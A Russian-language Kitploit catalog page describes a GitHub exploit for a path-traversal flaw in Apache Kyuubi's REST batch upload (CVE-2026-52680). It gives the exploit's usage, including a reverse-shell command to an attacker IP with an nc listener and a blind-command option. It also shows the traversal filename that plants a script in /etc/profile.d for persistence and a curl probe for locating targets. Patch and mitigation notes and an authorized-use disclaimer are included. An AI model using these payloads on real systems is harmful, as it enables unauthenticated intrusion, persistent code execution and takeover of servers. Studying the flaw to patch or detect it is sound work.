Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-52680_exploit — Эксплойт для Apache Kyuubi, использующий обход пути (CVE-2026-52680) и обеспечивающий неаутентифицированную произвольную запись файлов и выполнение кода через shell-скрипты profile.d. | Kitploit
Инструменты/GitHubGitHub/0xdak/cve-2026-52680_exploit
Генерация полезной нагрузкиМеханизмы персистентностиЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed Teaming
GitHub0xdak/cve-2026-52680_exploit

CVE-2026-52680_exploit

Эксплойт для Apache Kyuubi, использующий обход пути (CVE-2026-52680) и обеспечивающий неаутентифицированную произвольную запись файлов и выполнение кода через shell-скрипты profile.d.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
16 дней назадЕщё не проверено

CVE-2026-52680 — Apache Kyuubi REST Batch: произвольная запись файла через обход пути

Неаутентифицированная произвольная запись файла в REST API Apache Kyuubi через конечную точку multipart для отправки пакетов.

POST /api/v1/batches (multipart/form-data) записывает часть resourceFile в $KYUUBI_HOME/work/upload/<batchId>/, используя имя файла, предоставленное клиентом, без проверки обхода пути (kyuubi-common Utils.writeToTempFile):

root@kitploit:~
val filePath = Paths.get(dir.toString, s"$prefix-$identifier$suffix")   // no normalize()/containment
Files.copy(source, filePath, StandardCopyOption.REPLACE_EXISTING)

Имя файла с ../ позволяет выйти за пределы каталога загрузки → запись файла в произвольный каталог (CWE-22) от имени пользователя процесса Kyuubi. Kyuubi по умолчанию поставляется с kyuubi.authentication=NONE, поэтому конечная точка не требует аутентификации.

  • Затронуты: Apache Kyuubi 1.7.0 – 1.11.1
  • Исправлено: 1.12.0 (добавлена проверка вхождения filePath.normalize().startsWith(dir.normalize()))
  • Порт по умолчанию: 10099 (REST-интерфейс, не требует аутентификации при authentication=NONE)
  • CWE: 22 (Path Traversal) / 73 (внешний контроль имени файла или пути)
  • Воздействие: произвольная запись файла от имени пользователя процесса Kyuubi → RCE

Важное ограничение — базовое имя искажается

writeToTempFile вставляет -<yyyyMMddHHmmss>-<counter> перед расширением, поэтому вы контролируете каталог назначения, расширение и содержимое, но не точное базовое имя. Это исключает перезапись файлов с точным именем (~/.ssh/authorized_keys, /etc/crontab, ~/.bashrc) — вместо этого нацельтесь на место, которое выполняется по glob-шаблону.

Этот эксплойт записывает /etc/profile.d/pwn.sh → сохраняется как /etc/profile.d/pwn-<ts>-<n>.sh, который по-прежнему соответствует /etc/profile.d/*.sh и подключается через source (бит выполнения не требуется) каждой входной оболочкой. Он выполняется от имени того пользователя, который открывает входную оболочку — root, если Kyuubi работает от root и происходит вход root (например, ssh root@host, su -, cron bash -lc).

Требования

Только стандартная библиотека Python 3 — без зависимостей.

Использование

root@kitploit:~
# reverse shell (start a listener first: nc -lvnp 4444). Fires on the next login shell.
python3 exploit.py http://10.10.10.10:10099/ --shell 10.10.14.5:4444

# blind command
python3 exploit.py http://10.10.10.10:10099/ -c 'id > /tmp/pwned'

Загрузка возвращает HTTP 500 (Error opening batch session) при отсутствии Spark-бэкенда — это ожидаемо и безвредно: файл записывается до запуска пакета.

Как это работает

Две multipart-части:

  1. batchRequest (JSON) {"batchType":"SPARK","resource":"x","className":"x","name":"pwn"} — минимально допустимый BatchRequest, чтобы валидация прошла и был достигнут приёмник загрузки.
  2. resourceFile, имя файла ../../../../../../etc/profile.d/pwn.sh, тело = полезная нагрузка. Kyuubi записывает его (с искажённым базовым именем) в /etc/profile.d/pwn-<ts>-<n>.sh.

Затем входная оболочка подключает через source /etc/profile.d/*.sh и выполняет полезную нагрузку.

Как определить цель

root@kitploit:~
curl -s http://10.10.10.10:10099/api/v1/ping        # Kyuubi REST responds (no auth)

REST-интерфейс Kyuubi на порту 10099 с authentication=NONE уязвим.

Устранение

Обновите Apache Kyuubi до версии ≥ 1.12.0, включите аутентификацию (kyuubi.authentication), никогда не открывайте REST-шлюз для недоверенных сетей и не запускайте Kyuubi от имени root.

Отказ от ответственности

Только для авторизованного тестирования безопасности и обучения. Используйте только против систем, которыми вы владеете или на тестирование которых получили явное разрешение.

Скачать инструмент